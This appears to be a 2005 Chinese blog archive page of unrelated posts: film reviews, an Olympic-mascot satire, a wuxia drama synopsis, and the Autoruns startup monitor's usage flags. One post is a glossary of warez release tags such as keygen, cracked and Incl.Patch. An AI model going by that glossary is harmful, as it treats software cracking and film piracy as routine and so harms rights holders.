Microsoft JET Database Engine 错误 '80040e10'至少一个参数没有被指定值。
December 2005 Archives
本片是斯皮尔伯格首部名符其实的战争片,描述的是1944年6月6日,英美盟军在诺曼底登陆。在这一天的进攻中,盟军总部发放阵亡通知单的工作人员发现:一家姓瑞恩的有三兄弟都阵亡了。而她的小儿子詹姆斯.瑞恩也在欧洲大陆战斗,还不知生死。盟军司令马歇尔将军得知此情况,立刻下令派一只小分队去救他。最后,这只小分队经过欲血奋战,终于找到了瑞恩,并守住了一座连接巴黎和柏林两地的大挢。本片被认为是有史以来最逼真的战争片之一,美国电影协会将其定为“极度渲染战争暴力”片。不过,许多二战老兵对影片给予了极高评价,称它是“最真实反映二战的影片”,尤其是片中全长26分钟的重现诺曼底登陆的壮观场面。
斯皮尔伯格无意宣扬暴力,他憎恶任何使暴力看上去有趣或者把暴力描绘成游戏的主观性的渲染,他所展现的一切就是要客观地反映战争中的暴力。战斗在继续,镜头在移动,最后落在了一具尸体上,死者俯卧在地,背包上的名字清晰地印着一个名字--彼得.瑞恩。镜头又转到了宁静的美国本土,善后委员会的工作人员正在忙碌地处理着牺牲在前线的将士的善后工作,这时一名工作人员发现一个姓瑞恩的家庭中四个兄弟已有三个在断断续续的48小时内相继阵亡,也就是说将自己所有儿子送上前线的这位伟大的母亲将在同一个时间里接到三张不同的阵亡通知书,而这四个兄弟的唯一的幸存者空降兵列兵詹姆斯.瑞恩却也正在诺曼底的什么地方继续战斗着。工作人员立即将这个情况向陆军参谋长马歇尔将军作了汇报,看着这三纸阵亡通知书,将军的心情久久难以平静,为了不再让这位英雄母亲承受丧子之痛,将军下令:派一组特种部队去将瑞恩一家唯一的希望詹姆斯.瑞恩找到,并把他从那里安全地带回来。
米勒上尉接到上级给他的这个任务后,他无法高兴,在他看来完成这项任务难如大海捞针,而要他率领一个八人营救小组冒死去救一个列兵的意义又何在呢?营救小组带着这个困惑极不情愿地上路了,于是人们有机会开始认识每一个人了。军士豪沃斯是米勒上尉的左右手;下士厄普哈姆是一个未经战阵的书呆子,只知纸上谈兵;技术军士迪克.魏德极富同情心。其他四人都是列兵,口惹悬河的鲁宾是是米勒上尉的眼中刺,这个机智聪明的纽约客毫不掩饰对此项行动的愤慨和质疑;卡帕佐也有一张闲不住的嘴;利施很有正义感,他为纳粹对犹太人的所作所为义愤填膺;杰克逊来自南方,是个虔诚的教徒,扣动扳机前总是默念“上帝赐予人力量”。
显而易见这是一个性格迥异的群体,挑选和确定角色对任何一位导演来说都是一个不小的挑战。斯皮尔伯格再次显示了他作为一名超级导演的能力,在丹尼斯.查米安的协助下他成功地组建了一支实力雄厚的演员队伍。影帝汤姆.汉克斯对米勒上尉表现出了浓厚的兴趣,伯恩斯觉得饰演鲁宾使他乐在其中。演员们的表演没有辜负导演和观众。当这些士兵深入到敌人的阵地,遭遇到了各种危险的情况,豪沃斯与鲁宾在与德国小股溃军的遭遇战中相继牺牲,剩下的队员开始更加疑问为什么赖恩的生命要比他们的更有价值,尽管怨声载道但米勒队长却始坚持终服从着上级的命令继续寻找瑞恩。
与以往一样,斯皮尔伯格没有忘记为观众塑造一位英雄,米勒上尉即是本片中的英雄。经汉克斯饰演的米勒上尉有情有义,是一名普通的、却具有高尚品质的战士,这恰恰是人们所追求的那种理想的艺术形象。但斯皮尔伯格并未满足于停留在这一层次上,片中的米勒上尉绝非约翰.韦恩式的英雄简单的翻版,他为自己是种种屠杀行动的指挥者而绝望,他恨战争发迹了他,他的一只手有时会莫名其妙的擅抖,导演这一巧妙安排展现了人物复杂的内心世界,暗示着战争给人造成的巨大精神压力。
《拯救大兵瑞恩》在法国的票房同样取得了骄人的成绩,连续数周排行第一。虽然有些影评人士指责这部影片强调的是民族主义,但更多的人从中体会到的却是英雄主义。法国前总统德埃斯丁对影片赞赏有加:“欧洲人,包括法国人拍出这样一部爱国片是不可能的事,因为他们更多的是怀疑和批判,他们不会对抢救雷恩这样的行动表示敬意。”
《阿甘正传》 课程:执着每次想起阿甘在美国东西海岸之间的奔跑,心里都会止不住的伤感,还有振奋。你相信一个智障儿的成功吗?你相信这世上得到最多的人正是那些不计得失的人吗?
阿甘不懂得他不能总跟着一个女人帮她打架,也不懂得一个成年人不该总把***话挂在嘴边。阿甘什么都不知道,他只知道凭着直觉在路上不停地跑,并且最终他跑到了终点。另外,《阿甘正传》还会教给你一个男人必须具备的一种素质——困境中的幽默感。
《东方不败》 课程:才华男人不应该不看武侠片,如果你只能看一部武侠电影,你会选择什么?我想应该是《东方不败》.满堂花醉三千客,一剑霜寒十四州,剑客的身姿随着剑在空气中的游走而起舞,翩若惊鸿,宛若游龙。金庸的《笑傲江湖》讲的是对自由的追求,徐克、程小东、张叔平、李连杰等一干天才用电影再现了金庸笔下这个瑰丽无比的武侠世界。沧海一声笑的曲子传唱至今,成为我们一个幻想的凭籍,一个逃避现实的出口。
《美国往事》 课程:人生《美国往事》包含了一个男人在这个世界上所能遇到的一切。友情、爱情、幻想、责任、冲突。它更像是一场让人不愿醒来的梦,当面条躺在床上,在温暖的灯 光和的迷离的电话铃声中回到那些逝去了的岁月,这场梦便开始了,直到最后的面条终于露出笑容,我们才回到自己的人生,去继续那些不尽的故事。什么帮派,什么仇杀,原来都不重要,印象中只有一个毛躁的少年,偷看一个美丽女孩儿跳舞;只有一个负罪的兄弟,每天早早地上床睡觉;只有一个白发苍苍的老人,面对背叛了的友谊,语调平和,不动声色。《美国往事》带着你作了一个三小时四十五分钟的梦。人生如梦,这也许是惟一的感受。《罗马假日》 课程:爱情也许《罗马假日》有点瞎浪漫的嫌疑,但奥黛丽。赫本的出现使它真的成了一部童话。她就像是游历人间的天使,美丽得不染纤尘。记者吻过湿淋淋的公主,然后看着她慢慢地走向自己的官邸。那一刻,你是否会在心里默默地说,“别走”?在罗马的宫殿里,两个人站得那样近,也离得那样远。乔只能说:“你的朋友绝不会让你失望。”而公主也只能这样回答,“罗马,当然是罗马。”在人的一生里,即便只有这样一刻心灵的相通,也会少却多少遗憾!《勇敢的心》 课程:勇气也许英雄并不是无所不能的神明,但英雄一定是无所畏惧的勇士。在你站在霓虹闪烁的街头,当你面对卑鄙委琐的笑脸,你又想起了那个让你汗颜的华莱士,这时你收起脸上惯带的笑容,默默地向梅尔。吉布森致敬,从来没有这么庄重。因为他让我们明白,什么才是真正的英雄。“Freedom !”华莱士临死前的一声呐喊,把你的血也点燃了。《辛德勒的名单》 课程:责任所谓责任,就是未必做得成却必须去做的事。对于辛德勒来说,救助落难的犹太人是作为一个真正的人的责任。而把那段历史搬上银幕,则是斯皮尔伯格作为一个犹太艺术家的责任。《辛德勒的名单》包含着对受难者的祭奠,对拯救者的敬意,和对光明一定到来的信念。在影片放映后的一片赞誉声中,斯皮尔伯格平静地把影片的全部收益捐给了美国的纳粹大屠杀纪念馆。《肖申克的救赎》 课程:信念“有一种鸟儿是永远也关不住的,因为它的每片羽翼上都沾满了自由的光辉。”一个人能够在十五年痛苦的牢狱生活里,不放弃对自由的向往,这是一种怎样的精神力量?所以他成功了,成功夺回了自由。《肖申克的救赎》中有这样一句话:体制化是这样一种东西,一开始你排斥它,后来你习惯它,直到最后你离不开它。想想看,我们的身体已经有多大一部分被体制化了?《E.T》 课程:童心如果看《E.T》时你流泪了,你不要害怕也不要惭愧,不管你有多大的年纪。实际上,能够和孩子们一起为E.T 的遭遇而悲喜,是一件多么让人庆幸的事,这代表着我们还有一点童心未曾泯灭,代表着我们有一些梦想还藏在心底。当长着一双孩子的眼睛的E.T 用超能力让孩子们的自行车飞上夜空,穿过那轮明月的时候,你是否感到了震憾?是否对自己一些已经习惯了的东西产生了怀疑?《现代启示录》 课程:痛苦战争是一种秩序的破坏,世界上最可悲最痛苦的事莫过于战争,最痛苦的战争电影莫过于《现代启示录》。《现代启示录》讲的是人性的倒退,秩序的破坏。但文明的进程却没有人能够阻挡。《第七封印》 课程:哲思我不敢说我看懂了《第七封印》,但如果要我在临死之前看一部电影,我一定选择《第七封印》。
keygen only--->只含注册器
WinALL--->适用于所有版本Windows操作系统(一般是指95 98 ME 2000 XP 2003)
Trainer--->作弊修改器
Cracked--->破解版本(对原文件进行了修改)
MAC OSX--->Macintosh平台上的软件
NUKED--->发布的内容违犯规则或存在问题因而被取消,别的小组可重新发布。
Ebook--->电子书
Repack /Proper--->重新打包/正确的(对上一个不成功的破解的修正)
Plug in--->插件
regged--->已經注册了的軟件
retail--->零售版
READ.NFO--->一般表示有某种特别说明
DIRFIX nfo--->说明文件修正,一般只有一个nfo文件
BiLiNGUAL--->双语版本
MutilLiNGUAL--->多语言版本
PHP.NULL--->PHP完整脚本程序
ASP.NULL--->ASP完整脚本程序
Incl.Patch--->带有破解补丁
WORKING--->先前已有组织释放,但是不能完整工作,当前的释放是完整工作的。
Licensed--->带有许可文件
FiXED--->重新修正版
Unlocker--->解锁补丁
Cheats--->密技
ALL.ACCESS.CHEAT--->通关秘籍
DUPE--->与别的组织Release有重复
UNRATE--->未删节(好)
R-RATE--->有删节(不好)
WS --->宽银幕版本的影片
FS--->4:3 全荧幕版本的影片(有些影片DVD中同时有WS和FS两种版本,Rip出来就要有两种Release)
Bad IVTC --->画面有不可去处的拉丝(不好的版本)
Bad Aspt --->画面比例不正常(不好的版本)
LIMITED --->指在美国有限上映的片子,很多外国片都这样
WITH EXTRAS--->带花絮
INTERLACED--->隔行(可看见横的扫瞄线)
NUKED---> 画质太差,被FTP的管理员废掉
SUBED --->内嵌硬字幕(画面内不能消去)
CAM---> 摄影机拍影院银幕,带有影院音响(夹带观众笑声,不好)
Telesync, TS--->摄像机拍影院银幕,从影院放映机直接接线输出
Telecine, TC---> 胶版,直接转电影拷贝,转电影拷贝
DVD SCREENER --->用于观摩或展示的DVD
SCREENER, SCR --->用于观摩或展示录影带
WORKPRINT,WP--->工作录影带(导演剪接版,与发行版不同 )
Director Cut --->导演剪接版
TDX---> 传统DivX制作规则,不符合规则就不会被接受或被NUKE
INTERNAL--->不太符合TDX标准的作品,一些是自己做着玩,还有一些是那组织认为依照TDX无法做到满意的质量,但不依照TDX做又会被NUKE,所以只好INTERNAL,有些比较值得收藏。
STV--->指没有也不会有美国影院公映这部片,或者是在影院放映前已经在电视上放过
OST---> 原声大碟
WM2003 ---> 该软件所适用的操作系统,Windows Mobile 2003等同于Pocket PC2003
自从北京拿下奥运会主办权之后,就向国际奥委会放出话来:“北京一定要办一次最好的奥运会——人数最多、项目最多、主题歌最多、吉祥物最多、花钱最多、兴奋剂丑闻最多、赔钱最多的有史以来影响最广泛的奥运会。”一定要把北京奥运会办成多伦多。
据悉,北京奥委会即将推出奥运会主题歌,一共10首歌,每首歌让100个人唱,这样的话,连超女海选被淘汰的歌手都有机会登场演唱,一定要让全民都有机会参与到奥运当中去,这才叫同一个世界,同一个梦想耶——
这次奥运会吉祥物诞生的过程,就充分体现了把一件简单的事情搞复杂,把一个无中生有的东西赋予更多意义的精神,因为只有这样才能真正体现出奥运精神。韩国首尔奥运会,有两个吉祥物,悉尼奥运会有三个吉祥物,轮到我们北京,哼哼,我们弄五个,急了我们弄更多。
其实,在讨论吉祥物如何确定的时候,北京奥委会的人七嘴八舌不停口,出了很多主意。
奥委会第一副主席杨葵说:弄一个刘关张,都是英雄。
执行主席苗炜说:有城市已经弄出三个吉祥物了,我们不能停留在三个,奥运的口号就是更高、更快、更多,一定要超过他们。
于是执行主席平客建议:要不三英战吕布吧,正好四个。
执行主席小强一听就不干了:那还不如用孙悟空、猪八戒、唐僧、沙和尚呢,吕布怎么看怎么像个嫖客。
话音刚落,执行主席土摩托站起来说:还不如用五鼠闹东京呢,当时的东京汴梁就是首都,奥运会在北京举行,五只老鼠上窜下跳的,透着喜性。而且,“五鼠闹东京”也有点敲山震虎的意思,让丫日本人老实点,别鸡巴动不动就参拜什么刽子手,急了我们弄几只老鼠到东京传播鼠疫去。
执行主席大仙一听就急了:你这个学理科的,坐下,瞎说什么。老鼠是反面代表,老鼠过街,人人喊打,怎么可以用老鼠做吉祥物呢?
土摩托说:老鼠怎么啦,你见过有人打米老鼠的吗?你要是把它们设计好看了,人们照样喜欢。
大仙说:这又不是在美国开奥运会,我就烦美国卡通。
这时,执行主席老六站了起来:我觉得,吉祥物最好六个,六六大顺,要不用戊戌六君子吧。
执行主席王小山马上反对:还不如用竹林七贤呢,透着有文化。
第一副主席杨葵说:有文化还不如唐宋八大家呢。
这时执行主席飞猪站起来说:你们都别嚷嚷了,用十二生肖吧。又中国又传统,老外肯定感兴趣。
执行主席小精子马上反对:那还不如用金陵十二钗呢。
执行主席黄集伟马上站起身来:十二寡妇征西是不是更好呢?
执行主席洪启马上举手反对:我们还是用十八罗汉吧。
执行主席胡啾啾马上说:你别以为你肚子大,就想把跟你差不多的东西当成吉祥物。咱们还是用一百单八将吧,外国人一买就108个,我们能拯救很多玩具厂。
执行主席奶猪站起来说:宁亚这么说,那还不如整五百砣童男童女呢,多有气势。
执行主席黄集伟又不干了:照你这么说,百万雄师过大江才有气势呢,我们一套吉祥物100万个。
大家面面相觑:要不就弄100万个?体现出中国人参与奥运的决心。
大家纷纷点头:对,100万个。
这时,躲在一边半天没发言的执行主席安替说话了:从一个民主的角度来讲,100万个吉祥物是很有创意的,但问题是,开幕式上怎么把这100万个吉祥物弄进体育场,那样的话我们至少要修建一个容纳110万人的体育场,这个方案不妥。我认为,四五个比较合适。
于是,众人同意暂定为5个吉祥物。方案写好了,递交给国际奥委会主席罗格。罗格看到方案,当场就背过气去了,醒来后,他从地上爬起来,哆嗦着说:“谢天谢地,奥运会会旗上有五个环,要是有50个环,他们一定会弄50个吉祥物给我。中国是个很奇怪的国家,有一个总理候选人,强调一个中国,一个世界,一个梦想,一锤定音、一蹴而就、一概而论、一言堂、一盘散沙、一手遮天、一塌糊涂、一无是处、一问三不知……他们创造了很多灿烂的“一”文化,怎么到了吉祥物这里突然就变成了多‘档’制了?照这样下去,以后奥运会的吉祥物不是越来越多了吗。回头我得跟大众汽车公司商量一下,把奥迪公司的四环标志和奥运会的五环标志换一下。五个吉祥物,亏他们想得出来,上次悉尼弄了三个,我就看着别扭,难道他们真的把奥运会口号理解成‘更高、更快、更多’了吗?长此以往,这奥运会就变成了闹运会了。”
于是,罗格给北京奥委会打电话,接电话的正好是执行主席奶猪。
罗格:我看到你们的吉祥物方案了,为什么要用五个?你们把奥运吉祥物当成你们的菜市场了吗?
奶猪:我们本来想用百万雄师过大江来着,怕您数不到这个数就背过气去,所以就定了5个。
罗格:太多了,最好一个,最多两个。
奶猪:主席先生,宁亚也不想想,我们中国有这么多人,弄五砣已经很少了,平均三亿人才一个吉祥物,澳大利也才几个人,就弄出三砣。
罗格:这一点没有商量,如果你们执意要用五个吉祥物,我会召开奥委会紧急会议,讨论取消北京举办2008年奥运会资格。
奶猪:啊?我靠,这都什么时候了?宁亚还有这个想法?
罗格:我们不希望奥运会变成讲排场的比赛,你们中国现在还不富裕,举办这么大型运动会,尽可能节约资金,这对北京和她一千多万人民来说是件好事。
奶猪:这个我们早就想到了,宁亚放心,我们在奥运期间一定会让北京像共产主义一样和谐,钱包把人拌一个跟斗都不会有人去捡,让它活活烂在地里。
罗格:我担心伦敦奥运会会弄出6个吉祥物。
奶猪:这个宁亚放心,伦敦没有叫老六的人。他们只会弄出一砣。
罗格:你们已经把奥运会弄的膨胀了,希望你们替那里的人民想一想,希望你们办完奥运会之后能给北京人的生活带来方便,比如交通、环保、通讯。我上次去北京,一下飞机,发现天空是红颜色的,我当时想,我是到了火星了还是到了北京?后来一打听才知道你们为了迎接我专门掀起一场沙尘暴。
奶猪:宁亚没到火星就观看到火星的景色,这是我们绞尽乳汁想出来的疮痍。
罗格:我呸!
奶猪:难道宁亚经常访问我的博客?
罗格:我经常偷窥。
奶猪:罗师傅,我知道宁亚很为难,其他奥委会成员对我们弄五砣吉祥物会有微词,我们早就替宁亚想过了,我们在这五砣吉祥物里面,专门给宁亚留一个,这样的创意奥运历史上从来没有过。
罗格:真的?
奶猪:真的。
罗格:那我想想,如果你们保证吉祥物上有我一个。我就同意。
奶猪:哦耶——就这么定了。
罗格:嗯哼。
奥运吉祥物公布这一天,罗格兴致勃勃地坐在电视机旁看直播,看着自己成为吉祥物这一时刻的到来。白岩松说:第一砣吉祥物——贝贝。罗格一看,不像自己。王小丫说:“第二砣吉祥物——郭晶晶,不对是晶晶。”罗格一看,还不像自己。第三砣、第四砣、第五砣先后都出来了,怎么没有长得跟自己像的吉祥物呢?原来被耍了。可是想改变这一结果,来不及了。就这样,北京奥运会幸运地第一次拥有五砣吉祥物的奥运会。
罗格这叫一个气啊,他颤抖着拿起手机,给奶猪发了一条短:宁们亚骗我,我要召开紧急会议。
奶猪回:我们木有骗宁亚,吉祥物的名字叫“贝晶欢迎宁亚”,就是按照宁亚的山西口音设计滴。我靠,应该是六砣吉祥物,怎么少了一砣?
Remember the Y2k bug and the hype surrounding it? It seems the hype is back. Only this time, it is not about Y2k but about Y2038, the latest bug to take the virtual world by storm.
?Cellular networks could see interruption in normal operations;
岁月如流,旧歌如梦。有些电影看过就忘了,有些永远的留在记忆中。于是找出来再看一遍。从前看觉得是好的,现在知道了为什么好,好在哪里。前天夜里百无聊赖,手边刚好有一部Al Pacino的‘Carlito’s Way’,重温之后伤感的像一只断翅的蝴蝶。生死与爱情是永恒的让你看了睡不着觉的主题。比如’Love Story’,比如‘Titanic’。但是就像Jack Daniels加一些Coke才更有味道,这类电影掺些别的元素,比如黑帮,往往更耐人寻味。’Carlito’s Way’就是一杯比例完美的Jack Daniels + Coke。本该蹲30年,5年就神奇假释的亡命之徒Carlito (Al Pacino)出得牢来,发现有两件事情不太对头。第一件是5年不见,女孩子的裙子短的连屁股都遮不住。(他出狱的时候是公元1975年)第二件是,自己居然成了黑社会里年轻一代顶礼膜拜的传奇前辈。(纽约黑帮竞争激烈,五年人事几翻新-作者注)第一件还好说,这第二件对于胆气已颇为消磨的Carlito真是个要命的好消息。不想立马就碰上毒贩子火拼,Carlito奋起自卫,把子弹打光后屁滚尿流的一头钻进厕所,死活不敢出来。过了半天发现没动静,探头张望原来一不小心把所有人都灭了。好吧,威名又竖起来了,那就继续在刀口上讨生活吧。本来打定主意洗手不干的他,买了家黑社会club经营,准备攒够一笔钱就远走高飞-还有什么放不下的呢?这座城市,这个自由世界?-什么都放得下,除了她。Gail。他曾经的恋人。他想忘记她,偏偏还是想起;他知道不该再去找她,可他还是去了。于是悲剧在这一刻就已注定-他飘然去见她的那一刻。因为若不是为了牵绊她,在最后他就不用赶到火车站,去投奔那个陷阱,一个人他有一千种方法能安全的离开美国。这让我想起了同样没跨过这道坎儿的另一条好汉,‘Leon’里的Leon。Leon和小女孩在一起的第一个晚上,小女孩睡着后Leon从椅子里暴起荷枪实弹潜至她身边,以枪指其头,犹豫再三而终未下手。于是最后Leon只好为她死。当然Leon对于小女孩爱和同情哪一个更多些很难说,但这更证明了’英雄难过美人关‘的此言非虚性-有一些些情意都尚且如此,情深意厚那还了得?!类似的其他好汉还有很多,个个都是生龙活虎,敢爱敢恨的性情中人。在此就不进一步提供黑名单,免得没看过的同志看起来没了悬念,要我承担责任。好吧,我们的主人公Carlito不幸的也是此类好汉之一,所以在片尾,他为了Gail,不能逃脱肚子上挨几枪的命运。他倒下之后的一段堪称经典。火车站墙上贴的一幅写着’Escape to Paradise‘的某海岛广告画慢慢地活了。金色的夕阳斜照岸边,风物如画,似乎都闻得到风中湿润的海的湿气,却又时辰已晚,一切朦朦胧胧,亦幻亦真。棕榈树下依稀看得出是Gail在翩翩起舞,姿态曼妙,风韵无限。她身边有几个小孩子正玩耍嬉戏,无忧无虑。Carlito的独白贯穿这最后一幕。他没有回顾任何事情,他只是在展望,在想象。他相信他的遗腹子会被Gail养育成一个更棒的Carlito;他幻想他若真的和Gail去到了那个天堂般的小岛,会是什么情境。收尾的几句真是连英雄听了都要掉几滴虎泪,几乎不忍再写一遍:’Get the milkshakes baby, last call for the drinks. The bar is closed and down. Sun is out. Where we go for breakfast? Don’t wanna go far, rough night. Tired baby, Tired………’(插一句,此等意境颇似我中土之两句古词‘为君沉醉又何妨,只恐酒醒时候断人肠’)一夜狂欢,直至酒肆闭门。小寐片刻,便已天亮。亲爱的,最亲爱的,你想我们去哪儿吃早饭呢?不要去太远的地方吧,宿醉仍未过去。昨夜很开心,却也很伤神。去个近的地方,叫‘天堂’的地方好么。我累了,亲爱的,真的累了……….这段话若不是因为他就要死了,也许就不那么回肠荡气。可它分明是一语双关,明写在世外小岛上彻夜狂欢,次晨慵懒,‘我醉欲眠君且去’;实写他人生最后的感受。这一辈子就像瞎折腾了一夜,好不容易熬到天亮了,该有新的生活了,却发现已疲惫不堪,寸步难移。找个地方休息一下吧,不想在人生的荆棘路上再跋涉的更远了。有个近的,容易的去处,叫天堂……….. 何必呢,Carlito。何必呢,Leon。当初你明明能选择,避开这种结局。都是为了女人,为了放不开的真挚的爱。也许还不如像’Age of Innocence’里的男主人公(Daniel Day Louis),毅然抛弃了他的真爱,与家族安排的女子结婚(Wyona Ryder),成功的避免了身败名裂,横死非命等等观众喜闻乐见的下场。可是有一天,他老了,他走到他真正爱的女子年轻时住过的小楼下举头凝望,她真情的眼神,盈盈的笑靥,在他心里仍栩栩如生,活色生香,宛若当年。他呆在那儿,良久,良久,无语凝噎。所以我以为那不是真正的人生,对得起自己的路。想做的事情,就去做。想要的东西,就去抢。做不到,抢不来,毋宁死。莫待无花空折枝。
故事简介:王者剑覆雨 中原刀翻云
两大神兵利器 背负民族恩仇因缘际会明朝,社会安定。风行烈(林峰饰)虽为蒙古王族后人,但因短暂失忆,对国仇家恨,没有概念,反培养出逍遥的个性,追求爱情、希望逍遥山林。风行烈为搏红颜靳冰云(郭羡妮饰)一笑,决定盗取重现江湖的覆雨剑,结果遇上了韩柏(黄宗泽饰)。韩柏,燕王府内的小厮,不懂武功,却因缘际会得到覆雨剑,谁料宝剑被风行烈盗去。韩柏誓要取回宝剑,二人不打不相识。世事多变,韩柏遇上当世高手赤尊信(郭峰饰)把毕生内力传授给他,令他一夜之间成为高手。相反,风行烈却被靳冰云出卖,成为大魔头庞班(郭政鸿饰)的练功炉鼎,结果庞班练成绝世魔功。风行烈却武功尽失,更被庞班追杀,险境中幸得韩柏相救。情义两难存韩柏和失散的生父虚若无(许绍雄饰)大将军相认。虚若无更将韩柏引荐到朱元璋(高雄饰)面前,自此,韩柏飞黄腾达。另边厢,原来庞班正是当年元朝的国师,他苦练魔功,密谋复国,并选了风行烈为领导同胞的王者。于是,他把风行烈迫到绝路,让他深切体会到在朱元璋统治底下,蒙古族人被迫害的惨况,让风行烈背起民族的责任。风行烈要颠覆明室江山,韩柏却是朱元璋身边红人,二人的矛盾立场,逐渐显现。覆雨剑.翻云刀风行烈知道要复国,最大的障碍是韩柏。韩柏的翻云刀法,出神入化,而且他接掌了浪翻云(姜大卫饰)的江湖第一帮:怒蛟帮。风行烈要打胜他,并无胜算。此时,庞班道出覆雨剑的秘密。原来覆雨剑乃王者之剑,内藏绝世武功:战神图录。开启战神图录,要倚靠「剑心通明」这种上乘心法,修练到「剑心通明」境界的,当今武林唯秦梦瑶(佘诗曼饰)一人。然而梦瑶乃慈航静斋大弟子,亦是明室江山的梁柱。风行烈唯有以爱情为手段,打动梦瑶。同室操戈朱元璋步入垂暮之年,明室中,最有才能者是燕王朱棣(麦包饰)。于是,风行烈利用离间计,嫁祸朱棣行刺父皇,令朱元璋对朱棣下格杀令。谁不知太孙允炆(李天翔饰)早已勾结了蒙古人,他才是内奸。允炆登基,下令禁军围捕朱棣,韩柏、梦瑶拼死突围,保护朱棣离开京师。允炆委任风行烈为削藩主帅,朱棣成立靖难军,演变成明室内讧,同室操戈。这时的风行烈已修练成覆雨剑法,武功比韩柏的翻云刀更高,两雄相遇,谁胜谁负?江山又会落入谁人之手?
This utility, which has the most comprehensive knowledge of auto-starting locations of any startup monitor (A starting list of auto-run locations was obtained from David Solomon's "Windows Internals" seminar), shows you what programs are configured to run during system bootup or login, and shows you the entries in the order Windows processes them. These programs include ones in your startup folder, Run, RunOnce, and other Registry keys. You can configure Autoruns to show other locations, including Explorer shell extensions, toolbars, browser helper objects, Winlogon notifications, auto-start services, and much more. Autoruns goes way beyond the MSConfig utility bundled with Windows Me and XP.Autoruns' Hide Signed Microsoft Entries option helps you to zoom in on third-party auto-starting images that have been added to your system and it has support for looking at the auto-starting images configured for other accounts configured on a system. Also included in the download package is a command-line equivalent that can output in CSV format, Autorunsc.You'll probably be surprised at how many executables are launched automatically!Autoruns works on all versions of Windows including Windows XP 64-bit Edition (for x64) and Windows Server 2003 64-bit Edition (for x64).Autorunsc Usage
Autorunsc is the command-line version of Autoruns. Its usage syntax is:Usage: autorunsc [-a] | [-c] [-b] [-d] [-e] [-h] [-i] [-l] [-m] [-n] [-p] [-s] [-v] [-w] [user]-a
Show all entries.
-b
Boot execute.
-c
Print output as CSV.
-d
Appinit DLLs.
-e
Explorer addons.
-h
Image hijacks.
-i
Internet Explorer addons.
-l
Logon startups (this is the default).
-m
Hide signed Microsoft entries.
-n
Winsock protocol providers.
-p
Printer monitor drivers.
-s
Autostart services and non-disabled drivers.
-t
Scheduled tasks.
-v
Verify digital signatures.
-w
Winlogon entries.
user
Dump autoruns for the specified user account
《美丽人生》是一部意大利影片,一部非常优秀的电影作品。影片的时间背景二战时期,主人翁是一个幽默而乐观的年轻的犹太人,如千百万的犹太人一样,老实努力勤奋地工作着。
影片在舒缓的音乐,优美的田园风光中拉开了序幕。主人翁与他的朋友开着一辆老式的跑车开始了“惊心动魄”的旅程。车子终于停下来了,一个美丽的姑娘忽然从天而降坠入了他的怀中,姓丘的那个小家伙的箭就在那一瞬间击中他了。“哦,我的公主,”年轻的犹太人的绅士般的优雅风度把姑娘逗笑了。
在城里的又一次偶然的邂逅,小伙子开始为姑娘神魂颠倒和辗转反侧了,于是,他使出浑身解数,虽然他只是一个小小的酒吧生,虽然姑娘有一个做高官的未婚夫,可他还是勇往直前,终于在姑娘的订婚宴席上,作为应侍生的他骑着涂得五颜六色的高头大马把姑娘接到了他的摆满鲜花的小房子里。
下面是蒙太奇的手法,从花房里出来了一个五、六岁的孩子,他们的孩子。主人翁也在市中心开了家小书店,小日子过得和和美美。
那个时候,因为战争,形势有些紧张了。虽然他们所在的城市虽然并没有受到战争的袭击,但已经被纳粹党统领了,街上的商店很多都写着“犹太人与狗不得入内”。孩子十分不解,问父亲:为什么?
怎么回答孩子呢?战争可以说是战争狂人们玩的游戏,但对于孩子来讲,却是真正的灾难,怎么能告诉他因为他是犹太人就必须遭受不公平的待遇?怎么能让他幼小的心受到如此的打击?
父亲对儿子讲:“别人不喜欢啊,就象前面的商店不喜欢中国人和马,而再前面的商店不喜欢印度人一样,别人不喜欢你有什么办法。你不喜欢什么?”
儿子说:“蜘蛛!”
父亲说:“我不喜欢野蛮人,明天我们在我们的书店写上蜘蛛和野蛮人不得入内!”
明天就是儿子的生日了,夫妻俩十分高兴,想着要好好地庆祝,久不理睬女儿的外婆也要来了,来祝贺乖孙儿的生日。
可是,当第二天妈妈接了外婆来到小屋的时候,不幸的事终于发生了,小屋一遍狼藉,儿子和丈夫已经不在了。
爸爸和儿子被纳粹强行送到了集中营。在挤进如沙丁鱼罐头般拥挤不堪的火车里,爸爸对儿子说:“我说要在你的生日给你一个惊喜,看,这就是了,我带你做一个游戏,一个真正的游戏,如果我们赢了,就可以得一辆坦克,一辆真正的坦克。”
影片的前面一直是喜剧,我一直在笑,笑得眼泪都出来了,而这时,我的眼眶又湿了,我的鼻子酸酸的,我的心开始痛了。
母亲走到了纳粹的办公室,对那个纳粹分子说:“让我也去!”
“女士,你不是犹太人,你可以不去。”
“让我去,让我和我的丈夫我的儿子在一起。”母亲厉声地说。
纳粹分子同意了。
他们被送到了集中营,虽然是在同一个地方,可是男女分开,不能讲话,他们只有在偶尔在做工的时候四目相望。
儿子与爸爸在一起,为了让儿子不受到战争和死亡的威胁和恐吓,父亲费尽了心思。当纳粹军官找翻译,给大家讲集中营的纪律的时候,不懂德语的父亲急忙充当翻译,他怕别人将真实的情况讲出来,吓着孩子了,军官一边讲着纪律,父亲一边“翻译”着游戏规则。
每天都是干的十分重的体力活,累得不堪的爸爸回来时还是要做出非常轻松的样子,给儿子讲,“我们今天积了很多分了,我们领先了。”然后将自己省下的干面包给儿子吃。
儿子却不能忍受这样恶劣的环境和枯燥的生活了,他毕竟是小孩子,他要回家了,不想做游戏了。父亲同意了,他说:“好吧,我们回家吧,虽然我们目前的分数是第一,大大地超过了别人,可是我们退出了,我们不想要那辆真坦克了。”
儿子心动了:“我们真的是第一吗?”
“那当然,”父亲说“我们让他们捡个便宜吧,我们不要坦克了,我们不想驾驶它了,我们要回家了。”
“哦,爸爸,外面下着雨,我怕得感冒呢。”儿子转身向屋子里面跑去。
父亲苦涩地笑了。
就这样,儿子在父亲的保护下,奇迹般地身心健康地活了下来。父亲想了很多的办法想逃走,可是都行不通。
那天晚上,屋外的警报响个不停,纳粹党开始大批大批运送犯人离开,父亲意识到,这是盟军攻打过来了,如果现在不走,一定会死在这里的。
父亲抱着儿子,开始逃亡,虽然四面都是纳粹军队,他们还是快逃走了。父亲将儿子藏在屋外墙角边的一个废弃的柜子里,千叮呤万嘱咐,无论发生什么一定不能出来,熬过今夜就可以得到真坦克了。然后开始四处地寻找他的妻子,他一遍遍地叫着妻子的名字,一个个人地问妻子的下落。
不幸发生了,他被纳粹发现了。
纳粹分子押着他经过儿子藏身的柜子,他故着潇洒地大步向前,还向儿子的方向挥挥手。他被押到了一个角落处,两声枪响。
